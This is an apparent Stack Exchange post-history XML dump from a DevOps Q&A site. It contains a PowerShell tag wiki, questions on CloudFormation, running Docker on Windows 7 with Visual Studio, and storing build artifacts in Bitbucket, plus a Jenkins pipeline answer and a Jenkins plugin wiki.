  <row Id="16132" PostHistoryTypeId="5" PostId="1631" RevisionGUID="3522fb8b-5978-4c3c-bef0-e06c80059937" CreationDate="2018-10-03T16:55:00.447" UserId="1180" Comment="typo corrected" Text="&gt; Questions about Windows administration tasks involving PowerShell should be asked on [Super User](https://superuser.com/questions/tagged/powershell). On-topic questions are for writing scripts **ONLY**&#xD;&#xA;&#xD;&#xA;**Windows PowerShell**&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] is an interactive shell and scripting language originally included with Microsoft Windows 7 and Microsoft Windows Server 2008 R2 and above. It includes a command-line shell ([Windows PowerShell][1]) for interactive use, an underlying scripting environment to run scripts away from the command-line and a GUI script editing / debugging environment ([Windows PowerShell ISE][2]). See: [Getting Started with Windows PowerShell][3].&#xD;&#xA;&#xD;&#xA;As a language, [tag:PowerShell] has syntax for literal arrays and hashtables, support for regexes, pattern matching and string expansion. It's built on the .NET framework so it has Unicode support, can be locale/culture aware, and can access .NET framework methods directly.&#xD;&#xA;&#xD;&#xA;As a command-line shell, it is designed around cmdlets named in the form {Verb}-{Noun}, intending that the same kinds of commands work across many domains. E.g. `Get-Date` returns the current date, and `Get-Process` returns an array of objects representing running processes which can be piped to other commands that work with process objects. Many commands and keywords have short aliases to reduce typing.&#xD;&#xA;&#xD;&#xA;As a system management environment, Windows components and Microsoft products have been extended to provide native PowerShell interfaces as part of creating a unified managing system for Windows systems, including:&#xD;&#xA;&#xD;&#xA; - EventLogs, Task Scheduler, WMI, COM objects.&#xD;&#xA; - [Active Directory](http://technet.microsoft.com/en-us/library/hh852274.aspx), [Hyper-V](http://technet.microsoft.com/en-us/library/hh848559.aspx), [IIS](http://technet.microsoft.com/en-us/library/hh867899.aspx), [Remote Desktop Services and other Roles and Features](http://technet.microsoft.com/en-us/library/dn249523.aspx)&#xD;&#xA; - [Exchange Server](http://technet.microsoft.com/en-us/library/bb123778(v=exchg.150).aspx)&#xD;&#xA; - [SQL Server](http://technet.microsoft.com/en-us/library/hh245198.aspx)&#xD;&#xA; - [SharePoint](http://technet.microsoft.com/en-us/sharepoint/jj672838.aspx)&#xD;&#xA; - [Dynamics CRM](http://technet.microsoft.com/en-us/library/f5f906a0-24ad-4888-bb10-6a783cc56473(v=crm.6))&#xD;&#xA; - [Windows Azure cloud services](http://msdn.microsoft.com/en-us/library/windowsazure/jj156055.aspx)&#xD;&#xA; - [Office 365](http://technet.microsoft.com/en-us/magazine/hh750396.aspx)&#xD;&#xA; - As well as the usual scripting tasks &amp;mdash; working with files/folders, user accounts, string manipulation, running external programs, etc. &#xD;&#xA;&#xD;&#xA;Third-party vendors also offer PowerShell integration, including:&#xD;&#xA;&#xD;&#xA; - [VMware vSphere PowerCLI](https://www.vmware.com/support/developer/PowerCLI/)&#xD;&#xA;&#xD;&#xA;[tag:PowerShell] takes the Unix idea of piping text between programs and manipulating text, and enhances it by piping .NET object instances around. Because objects carry type information (e.g. dates and times), and complex state (e.g. properties and methods, hashtables, parsed XML data, live network sockets) this makes many tasks easy that would be difficult or impractical to do by passing text between programs.&#xD;&#xA;&#xD;&#xA;Along with interacting with the PowerShell console or the PowerShell ISE, there are also several 3rd party IDE options including Sapien's [PrimalScript ISE][6].&#xD;&#xA;&#xD;&#xA;**Example Usage**&#xD;&#xA;&#xD;&#xA;    # List all processes using &gt; 100 MB of PagedMemory in descending sort order (v3_    &#xD;&#xA;    C:\PS&gt; Get-Process | Where PagedMemorySize -GT 100MB | Sort -Descending&#xD;&#xA;&#xD;&#xA;    # PowerShell can handle numbers and arithmetic&#xD;&#xA;    C:\PS&gt; (98.6 - 32) * 5/9&#xD;&#xA;    37&#xD;&#xA;&#xD;&#xA;    # Production orientation allows experimentation and confirmation&#xD;&#xA;    C:\PS&gt; Get-ChildItem C:\Users\John *.bak -r | &#xD;&#xA;               Where {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} |&#xD;&#xA;               Remove-Item -WhatIf&#xD;&#xA;    What if: Performing operation &quot;Remove File&quot; on Target &quot;C:\Users\John\foo.bak&quot;&#xD;&#xA;    &#xD;&#xA;    C:\PS&gt; Get-Process iexp* | Stop-Process -Confirm&#xD;&#xA;&#xD;&#xA;    Confirm&#xD;&#xA;    Are you sure you want to perform this action?&#xD;&#xA;    Performing operation &quot;Stop-Process&quot; on Target &quot;iexplore (7116)&quot;.&#xD;&#xA;    [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is Y):&#xD;&#xA;&#xD;&#xA;**Common Gotchas**&#xD;&#xA;&#xD;&#xA;Executing EXEs via a path with spaces requires quoting the path and the use of the call operator - `&amp;`&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; &amp; 'C:\Program Files\Windows NT\Accessories\wordpad.exe'&#xD;&#xA;&#xD;&#xA;Calling PowerShell functions does not require parenthesis or comma separated arguments.  PowerShell functions should be called just like a cmdlet.  The following examples demonstrates the problem caused by this issue e.g.:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; function Greet($fname, $lname) {&quot;My name is '$lname', '$fname' '$lname'&quot;}&#xD;&#xA;    C:\PS&gt; Greet('James','Bond') # Wrong way to invoke this function!!&#xD;&#xA;    My name is '', 'James Bond' ''&#xD;&#xA;&#xD;&#xA;Note that both 'James' and 'Bond' are packaged up as a single argument (an array) that is passed to the first parameter.  The correct invocation is:&#xD;&#xA;&#xD;&#xA;    C:\PS&gt; Greet James Bond&#xD;&#xA;    My name is 'Bond', 'James' 'Bond'&#xD;&#xA;&#xD;&#xA;Note that in PowerShell 2.0, the use of `Set-StrictMode -version 2.0` will catch this type of problem.&#xD;&#xA;&#xD;&#xA;**Extensible functionalities**&#xD;&#xA;&#xD;&#xA;One of the great features of Powershell is its extensibility: &#xD;&#xA;we can add functionality by importing modules which are package of cmdlets, functions and aliases specialised on a particular domain (such as database administration, virtual machine administration etc.).&#xD;&#xA;&#xD;&#xA;Here are the most commonly used modules by the community :&#xD;&#xA;&#xD;&#xA; - [PSReadLine][18]&#xD;&#xA;[![PSReadLine replaces the command line editing experience in PowerShell.exe ][7]][7] &#xD;&#xA; &quot;PSReadLine replaces the command line editing experience in PowerShell.exe for versions 3 and up.&quot; Included in Windows 10.&#xD;&#xA;&#xD;&#xA; - [Powertab][9]  &#xD;&#xA; &quot;PowerTab offers enhanced tab expansion for PowerShell.&quot; &#xD;&#xA; - [PSCX][10]  &#xD;&#xA; &quot;PowerShell Community Extensions (PSCX) is aimed at providing a widely useful set of additional cmdlets, providers, aliases, filters, functions and scripts for Windows PowerShell that members of the community have expressed interest in but haven't been added to PowerShell yet.&quot; &#xD;&#xA;&#xD;&#xA;**Resources**&#xD;&#xA;&#xD;&#xA; - [Microsoft Windows PowerShell Home][11]&#xD;&#xA; - [Windows PowerShell Team Blog][12]&#xD;&#xA; - [MSDN Windows PowerShell][13]&#xD;&#xA; - [PowerShell Code Repository][14]&#xD;&#xA; - [New features in Powershell version 3][15]&#xD;&#xA; - [New features in Powershell version 4][16]&#xD;&#xA; - [New features in Powershell version 5][17]&#xD;&#xA; - [PowerShell Wikipedia Article][18]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://technet.microsoft.com/en-us/library/bb978526.aspx&#xD;&#xA;  [2]: https://technet.microsoft.com/en-us/library/dd819514.aspx&#xD;&#xA;  [3]: https://technet.microsoft.com/en-us/library/hh857337.aspx&#xD;&#xA;  [6]: https://www.sapien.com/software/primalscript&#xD;&#xA;  [7]: http://i.stack.imgur.com/AT4xc.png&#xD;&#xA;  [9]: https://powertab.codeplex.com/&#xD;&#xA;  [10]: http://pscx.codeplex.com/&#xD;&#xA;  [11]: https://technet.microsoft.com/en-us/scriptcenter/powershell.aspx&#xD;&#xA;  [12]: https://blogs.msdn.com/b/powershell/&#xD;&#xA;  [13]: https://msdn.microsoft.com/en-us/library/dd835506%28v=VS.85%29.aspx&#xD;&#xA;  [14]: http://poshcode.org/&#xD;&#xA;  [15]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps3&#xD;&#xA;  [16]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_wps4&#xD;&#xA;  [17]: https://msdn.microsoft.com/powershell/scripting/whats-new/what-s-new-in-windows-powershell-50#BKMK_new50&#xD;&#xA;  [18]: https://en.wikipedia.org/wiki/PowerShell&#xD;&#xA;  [19]: https://github.com/lzybkr/PSReadLine" ContentLicense="CC BY-SA 4.0" />
  <row Id="16133" PostHistoryTypeId="24" PostId="1631" RevisionGUID="3522fb8b-5978-4c3c-bef0-e06c80059937" CreationDate="2018-10-03T16:55:00.447" Comment="Proposed by 1180 approved by 228, 40 edit id of 799" ContentLicense="CC BY-SA 4.0" />
  <row Id="16134" PostHistoryTypeId="2" PostId="5106" RevisionGUID="7901a838-0c33-47c3-9dee-5af104074561" CreationDate="2018-10-03T18:30:54.750" UserId="8737" Text=" https://u1i7vf9mnl.execute-api.us-west-1.amazonaws.com/v1&#xD;&#xA;&#xD;&#xA;How can I get the u1i7vf9mnl portion of the URL from inside of the cloudformation template as a Ref or Fn::GetAtt or some other way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16135" PostHistoryTypeId="1" PostId="5106" RevisionGUID="7901a838-0c33-47c3-9dee-5af104074561" CreationDate="2018-10-03T18:30:54.750" UserId="8737" Text="How can I get the first part of the API Deployment URL from inside cloud formation template?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16136" PostHistoryTypeId="3" PostId="5106" RevisionGUID="7901a838-0c33-47c3-9dee-5af104074561" CreationDate="2018-10-03T18:30:54.750" UserId="8737" Text="&lt;api&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16137" PostHistoryTypeId="2" PostId="5107" RevisionGUID="e9e0b872-8034-4902-95e3-56c40d503687" CreationDate="2018-10-03T18:46:09.320" UserId="10163" Text="My objective is to have a development environment with docker and Kubernetes integrated with Visual Studio 2017 so that I can run the app on the docker container from directly within Visual Studio. I'm on a Windows 7 OS.&#xD;&#xA;&#xD;&#xA;My research has taken me thus far:&#xD;&#xA;&#xD;&#xA; 1. Docker for Windows only supports Windows 10+. As an alternative, I can use Docker Toolbox which setups a Virtual Machine via Virtual Box and runs a Linux VM (boot2docker). Docker actually runs in this Linux VM and shares its executable with Windows 7 via environment variables.&#xD;&#xA; 2. Kitematic comes with Docker Toolbox and is essentially a GUI tool for managing my docker images.&#xD;&#xA;&#xD;&#xA;Here are the questions, I'm trying to get answered and the issues I'm experiencing:&#xD;&#xA;&#xD;&#xA; 1. When I launch Kitematic, it says &quot;Couldn't find a native setup&quot; for docker. When I try to install Docker for Windows, clicking on the executable does nothing. **Is it impossible to install Docker natively on Windows 7 without a Virtual Machine in the middle**?&#xD;&#xA; 2. In using the Boot2Docker VM, it is a Linux distro and consequently, I can only use .NET core and ASP.NET core. **If I can't get a native Docker instance, is it possible to have a Boot2Docker Windows machine so I can utilize all of the .NET framework on it?**&#xD;&#xA; 3. I was finally able to build and run the docker image from Git Bash utilizing the Boot2Docker docker machine, but when I try to integrate with Visual Studio I get this error: `C:\Users\JoeTest\.nuget\packages\microsoft.visualstudio.azure.containers.tools.targets\1.0.1916590\build\Container.targets(222,5): error CTC1003: Visual Studio container tools require Docker to be running.`&#xD;&#xA;&#xD;&#xA;I've found various solutions that range from PowerShell to ensuring the C:/Users/ folder was shared between the Virtual Box image and Windows 7 host, but nothing seems to work for the VS Studio integration. Here are the steps to reproduce:&#xD;&#xA;&#xD;&#xA;1. Created project in Visual Studio 2017 for ASP.NET core on Windows 7&#xD;&#xA;2. Installed and Validated Docker Toolbox, e.g. can execute docker run hello-world&#xD;&#xA;3. Closed the project in VS Studio and setup the following in Powershell: &#xD;&#xA;&#xD;&#xA;  `docker-machine env &#xD;&#xA;   $Env:DOCKER_TLS_VERIFY = &quot;1&quot; &#xD;&#xA;   $Env:DOCKER_HOST = &quot;tcp://192.168.99.100:2376&quot;&#xD;&#xA;   $Env:DOCKER_CERT_PATH = &quot;C\Users\JoeTest\.docker\machine\machines\default&quot;&#xD;&#xA;   $Env:DOCKER_MACHINE_NAME = &quot;default&quot;&#xD;&#xA;   $Env:COMPOSE_CONVERT_WINDOWS_PATHS = &quot;true&quot;&#xD;&#xA;   /# Run this command to configure your shell:&#xD;&#xA;   /# &amp; &quot;C:\Program Files\Docker Toolbox\docker-machine.exe&quot; env | Invoke-Expression&#xD;&#xA;   PS C:\Users\JoeTest&gt; &amp; &quot;C:\Program Files\Docker Toolbox\docker-machine.exe&quot; env | Invoke-Expression`&#xD;&#xA;   &#xD;&#xA;   `invoke-item C:\Users\JoeTest\source\repos\VSEWebAppSample\VSEWebAppSample.sln`&#xD;&#xA;&#xD;&#xA;This opens the Visual Studio Project.&#xD;&#xA;4. Then, I type Ctrl + F5 and get the following output:&#xD;&#xA;&#xD;&#xA;    1&gt;------ Build started: Project: VSEWebAppSample, Configuration: Debug Any CPU ------&#xD;&#xA;    1&gt;VSEWebAppSample -&gt; C:\Users\JoeTest\source\repos\VSEWebAppSample\VSEWebAppSample\bin\Debug\netcoreapp2.1\VSEWebAppSample.dll&#xD;&#xA;    1&gt;VSEWebAppSample -&gt; C:\Users\JoeTest\source\repos\VSEWebAppSample\VSEWebAppSample\bin\Debug\netcoreapp2.1\VSEWebAppSample.Views.dll&#xD;&#xA;    1&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive -NoProfile -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File &quot;C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1&quot; -Version vs2017u5 -RuntimeID debian.8-x64 -InstallPath &quot;C:\Users\JoeTest\vsdbg\vs2017u5&quot;&#xD;&#xA;    1&gt;Info: Using vsdbg version '15.7.20425.2'&#xD;&#xA;    1&gt;Info: Using Runtime ID 'linux-x64'&#xD;&#xA;    1&gt;Info: C:\Users\JoeTest\vsdbg\vs2017u5 exists, deleting.&#xD;&#xA;    1&gt;Add-Type : Cannot add type. The assembly 'System.IO.Compression.FileSystem' cou&#xD;&#xA;    1&gt;ld not be found.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:47 char:13&#xD;&#xA;    1&gt;+     Add-Type &lt;&lt;&lt;&lt;  -assembly &quot;System.IO.Compression.FileSystem&quot;&#xD;&#xA;    1&gt;    + CategoryInfo          : ObjectNotFound: (System.IO.Compression.FileSyste&#xD;&#xA;    1&gt;   m:String) [Add-Type], Exception&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : ASSEMBLY_NOT_FOUND,Microsoft.PowerShell.Commands&#xD;&#xA;    1&gt;   .AddTypeCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Add-Type : Cannot add type. One or more required assemblies are missing.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:47 char:13&#xD;&#xA;    1&gt;+     Add-Type &lt;&lt;&lt;&lt;  -assembly &quot;System.IO.Compression.FileSystem&quot;&#xD;&#xA;    1&gt;    + CategoryInfo          : InvalidData: (:) [Add-Type], InvalidOperationExc&#xD;&#xA;    1&gt;   eption&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : ASSEMBLY_LOAD_ERRORS,Microsoft.PowerShell.Comman&#xD;&#xA;    1&gt;   ds.AddTypeCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Add-Type : Cannot add type. The assembly 'System.IO.Compression' could not be f&#xD;&#xA;    1&gt;ound.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:48 char:13&#xD;&#xA;    1&gt;+     Add-Type &lt;&lt;&lt;&lt;  -assembly &quot;System.IO.Compression&quot;&#xD;&#xA;    1&gt;    + CategoryInfo          : ObjectNotFound: (System.IO.Compression:String) [&#xD;&#xA;    1&gt;   Add-Type], Exception&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : ASSEMBLY_NOT_FOUND,Microsoft.PowerShell.Commands&#xD;&#xA;    1&gt;   .AddTypeCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Add-Type : Cannot add type. One or more required assemblies are missing.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:48 char:13&#xD;&#xA;    1&gt;+     Add-Type &lt;&lt;&lt;&lt;  -assembly &quot;System.IO.Compression&quot;&#xD;&#xA;    1&gt;    + CategoryInfo          : InvalidData: (:) [Add-Type], InvalidOperationExc&#xD;&#xA;    1&gt;   eption&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : ASSEMBLY_LOAD_ERRORS,Microsoft.PowerShell.Comman&#xD;&#xA;    1&gt;   ds.AddTypeCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;New-Object : Cannot find type [System.IO.Compression.ZipArchive]: make sure the&#xD;&#xA;    1&gt; assembly containing this type is loaded.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:64 char:29&#xD;&#xA;    1&gt;+     $zipArchive = New-Object &lt;&lt;&lt;&lt;  System.IO.Compression.ZipArchive -Argument&#xD;&#xA;    1&gt;List $zipStream&#xD;&#xA;    1&gt;    + CategoryInfo          : InvalidType: (:) [New-Object], PSArgumentExcepti&#xD;&#xA;    1&gt;   on&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : TypeNotFound,Microsoft.PowerShell.Commands.NewOb&#xD;&#xA;    1&gt;   jectCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Unable to find type [System.IO.Compression.ZipFileExtensions]: make sure that t&#xD;&#xA;    1&gt;he assembly containing this type is loaded.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:65 char:46&#xD;&#xA;    1&gt;+     [System.IO.Compression.ZipFileExtensions] &lt;&lt;&lt;&lt; ::ExtractToDirectory($zipA&#xD;&#xA;    1&gt;rchive, $targetLocation)&#xD;&#xA;    1&gt;    + CategoryInfo          : InvalidOperation: (System.IO.Compression.ZipFile&#xD;&#xA;    1&gt;   Extensions:String) [], RuntimeException&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : TypeNotFound&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;You cannot call a method on a null-valued expression.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:66 char:24&#xD;&#xA;    1&gt;+     $zipArchive.Dispose &lt;&lt;&lt;&lt; ()&#xD;&#xA;    1&gt;    + CategoryInfo          : InvalidOperation: (Dispose:String) [], RuntimeEx&#xD;&#xA;    1&gt;   ception&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : InvokeMethodOnNull&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Out-File : Could not find a part of the path 'C:\Users\JoeTest\vsdbg\vs2017u5\s&#xD;&#xA;    1&gt;uccess_rid.txt'.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:97 char:26&#xD;&#xA;    1&gt;+     $runtimeId | Out-File &lt;&lt;&lt;&lt;  -Encoding utf8 $SuccessRidFile&#xD;&#xA;    1&gt;    + CategoryInfo          : OpenError: (:) [Out-File], DirectoryNotFoundExce&#xD;&#xA;    1&gt;   ption&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.Ou&#xD;&#xA;    1&gt;   tFileCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Out-File : Could not find a part of the path 'C:\Users\JoeTest\vsdbg\vs2017u5\s&#xD;&#xA;    1&gt;uccess_version.txt'.&#xD;&#xA;    1&gt;At C:\Users\JoeTest\AppData\Local\Temp\GetVsDbg.ps1:100 char:24&#xD;&#xA;    1&gt;+     $version | Out-File &lt;&lt;&lt;&lt;  -Encoding utf8 $SuccessVersionFile&#xD;&#xA;    1&gt;    + CategoryInfo          : OpenError: (:) [Out-File], DirectoryNotFoundExce&#xD;&#xA;    1&gt;   ption&#xD;&#xA;    1&gt;    + FullyQualifiedErrorId : FileOpenFailure,Microsoft.PowerShell.Commands.Ou&#xD;&#xA;    1&gt;   tFileCommand&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Info: Successfully installed vsdbg at 'C:\Users\JoeTest\vsdbg\vs2017u5'&#xD;&#xA;    1&gt;docker build -f &quot;C:\Users\JoeTest\source\repos\VSEWebAppSample\VSEWebAppSample\Dockerfile&quot; -t vsewebappsample:dev --target base &quot;C:\Users\JoeTest\source\repos\VSEWebAppSample&quot;&#xD;&#xA;    1&gt;Sending build context to Docker daemon  2.471MB&#xD;&#xA;    1&gt;&#xD;&#xA;    1&gt;Step 1/4 : FROM microsoft/dotnet:2.1-aspnetcore-runtime AS base&#xD;&#xA;    1&gt; ---&gt; 40d759655ea3&#xD;&#xA;    1&gt;Step 2/4 : WORKDIR /app&#xD;&#xA;    1&gt; ---&gt; Using cache&#xD;&#xA;    1&gt; ---&gt; f82084d08a44&#xD;&#xA;    1&gt;Step 3/4 : EXPOSE 49718&#xD;&#xA;    1&gt; ---&gt; Using cache&#xD;&#xA;    1&gt; ---&gt; 22d65a07b772&#xD;&#xA;    1&gt;Step 4/4 : EXPOSE 44315&#xD;&#xA;    1&gt; ---&gt; Using cache&#xD;&#xA;    1&gt; ---&gt; 1a6aecd0e9f1&#xD;&#xA;    1&gt;Successfully built 1a6aecd0e9f1&#xD;&#xA;    1&gt;Successfully tagged vsewebappsample:dev&#xD;&#xA;    1&gt; C:\Users\JoeTest\.nuget\packages\microsoft.visualstudio.azure.containers.tools.targets\1.0.1916590\build\Container.targets(222,5): error CTC1003: Visual Studio container tools require Docker to be running.&#xD;&#xA;&#xD;&#xA;One article I found said I needed to update my PowerShell version but I went to this link and was confused which option I should download. Any help is much appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="16138" PostHistoryTypeId="1" PostId="5107" RevisionGUID="e9e0b872-8034-4902-95e3-56c40d503687" CreationDate="2018-10-03T18:46:09.320" UserId="10163" Text="Docker for Windows 7 with Visual Studio 2017 Integration" ContentLicense="CC BY-SA 4.0" />
  <row Id="16139" PostHistoryTypeId="3" PostId="5107" RevisionGUID="e9e0b872-8034-4902-95e3-56c40d503687" CreationDate="2018-10-03T18:46:09.320" UserId="10163" Text="&lt;docker&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16140" PostHistoryTypeId="2" PostId="5108" RevisionGUID="6fb54453-2332-400b-84cb-0a79bc47d11e" CreationDate="2018-10-03T20:17:54.023" UserId="10166" Text="I'm working with a company setting up a brand new project, and we're talking about what tools to use for what. I was talking about Artifactory or Nexus for storing built artifacts (APKs in this case), and they asked why they can't just use Bitbucket like they will use for the software, to reduce the number of tools they need to install and maintain.&#xD;&#xA;&#xD;&#xA;My initial response was &quot;Source goes in source repo and artifacts go in artifact repo&quot;, but that's not actually an answer why or why not.  In fact Googling around didn't offer any reasoning either.&#xD;&#xA;&#xD;&#xA;Any input into this? Anything that would bite us later on if we store them in Bitbucket?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16141" PostHistoryTypeId="1" PostId="5108" RevisionGUID="6fb54453-2332-400b-84cb-0a79bc47d11e" CreationDate="2018-10-03T20:17:54.023" UserId="10166" Text="Why not use Bitbucket for storing built artifacts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16142" PostHistoryTypeId="3" PostId="5108" RevisionGUID="6fb54453-2332-400b-84cb-0a79bc47d11e" CreationDate="2018-10-03T20:17:54.023" UserId="10166" Text="&lt;bitbucket&gt;&lt;artifacts&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16143" PostHistoryTypeId="2" PostId="5109" RevisionGUID="4540e34e-89ae-4f60-b289-5fa55c040e41" CreationDate="2018-10-03T22:04:31.603" UserId="9772" Text="@chupasaurus gave an answer based on a multi-repo solution. &#xD;&#xA;&#xD;&#xA;Based on this [answer][1], I came up with the following jenkins pipeline approach. I've decided to build and test the whole solution, but you can use the same approach from &quot;Push Image&quot; stage to build and test only the changed services.&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    environment {&#xD;&#xA;        CHANGES = getChangeLog()&#xD;&#xA;    }&#xD;&#xA;    stages {&#xD;&#xA;        stage('Build') {&#xD;&#xA;            steps {&#xD;&#xA;                bat 'dotnet clean solutionFile.sln'&#xD;&#xA;                bat 'dotnet build solutionFile.sln'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Test') {&#xD;&#xA;            steps {&#xD;&#xA;                bat 'dotnet test solutionFile.sln --no-build --logger:trx;LogFileName=results.trx'&#xD;&#xA;                // parse tests&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Push Image') {&#xD;&#xA;            stage('serviceA') {&#xD;&#xA;                when {&#xD;&#xA;                    allOf {&#xD;&#xA;                            expression {&#xD;&#xA;                                hasChanged = powershell(returnStdout: true, script: '&quot;$env:CHANGES&quot; -like &quot;*serviceA*&quot;).trim() // check if any file path contains &quot;serviceA&quot;&#xD;&#xA;                                return  hasChanged == &quot;True&quot; &#xD;&#xA;                            }&#xD;&#xA;                            branch 'master'&#xD;&#xA;                    }                        &#xD;&#xA;                }&#xD;&#xA;                steps {   &#xD;&#xA;                    // set tag or use latest by default from docker-compose      &#xD;&#xA;                    bat 'docker-compose build serviceA.api'&#xD;&#xA;                    bat 'docker-compose push registry/serviceA.api'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Deploy Image') {&#xD;&#xA;            stage('serviceA') {&#xD;&#xA;                // deploy image code&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    def getChangeLog(){&#xD;&#xA;        def changes = &quot;&quot;&#xD;&#xA;        build = currentBuild&#xD;&#xA;        while(build != null &amp;&amp; build.result != 'SUCCESS') {&#xD;&#xA;            changes += &quot;In ${build.id}:\n&quot;&#xD;&#xA;            for (changeLog in build.changeSets) {&#xD;&#xA;                for(entry in changeLog.items) {&#xD;&#xA;                    for(file in entry.affectedFiles) {&#xD;&#xA;                        changes += &quot;${file.path}\n&quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            build = build.previousBuild&#xD;&#xA;        }&#xD;&#xA;        echo changes&#xD;&#xA;        return changes&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This code isn't fully tested, I just wanted to give a practical approach.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/45507614/3223737" ContentLicense="CC BY-SA 4.0" />
  <row Id="16144" PostHistoryTypeId="50" PostId="4482" RevisionGUID="d39d883d-d396-4cc4-bd97-7ef7dbc53406" CreationDate="2018-10-03T23:00:20.247" UserId="-1" />
  <row Id="16151" PostHistoryTypeId="2" PostId="5112" RevisionGUID="a450a2fa-b7ce-4602-9f31-b33f3c8baebf" CreationDate="2018-10-04T04:45:21.130" UserId="9655" Text="If you will store apk files inside Bitbucket's repo you need use git or curl it to clone.&#xD;&#xA;And if repo private you need have an access to it, size limitation etc.&#xD;&#xA;&#xD;&#xA;The Software repository is more comfortable to store binary files. You can create your own mirror of maven, google repos." ContentLicense="CC BY-SA 4.0" />
  <row Id="16152" PostHistoryTypeId="2" PostId="5113" RevisionGUID="6bb0f4c8-9bb2-4db3-b14c-c31448755a52" CreationDate="2018-10-04T04:48:26.743" UserId="9655" Text="It's not good idea to store multiple Dockerfiles inside one repository.&#xD;&#xA;The best way is 1 repo 1 Dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="16154" PostHistoryTypeId="5" PostId="331" RevisionGUID="8b7400ba-f948-45e2-bcce-b9d174f4a92e" CreationDate="2018-10-04T05:10:47.447" UserId="1180" Comment="typo corrected" Text="From the [Managing Plugins][1] page of the [tag:jenkins] documentation:&#xD;&#xA;&#xD;&#xA;&gt; Plugins are the primary means of enhancing the functionality of a&#xD;&#xA;&gt; Jenkins environment to suit organization- or user-specific needs.&#xD;&#xA;&gt; There are [over a thousand][2] different plugins which can be&#xD;&#xA;&gt; installed on a Jenkins master and to integrate various build tools,&#xD;&#xA;&gt; cloud providers, analysis tools, and much more.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Plugins can be automatically downloaded, with their dependencies, from&#xD;&#xA;&gt; the Update Center. The [Update Center][3] is a service operated by the&#xD;&#xA;&gt; Jenkins project which provides an inventory of open source plugins&#xD;&#xA;&gt; which have been developed and maintained by various members of the&#xD;&#xA;&gt; Jenkins community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/managing/plugins/&#xD;&#xA;  [2]: https://plugins.jenkins.io/&#xD;&#xA;  [3]: https://jenkins.io/doc/book/glossary/#update-center" ContentLicense="CC BY-SA 4.0" />
  <row Id="16155" PostHistoryTypeId="24" PostId="331" RevisionGUID="8b7400ba-f948-45e2-bcce-b9d174f4a92e" CreationDate="2018-10-04T05:10:47.447" Comment="Proposed by 1180 approved by 40, 707 edit id of 800" ContentLicense="CC BY-SA 4.0" />
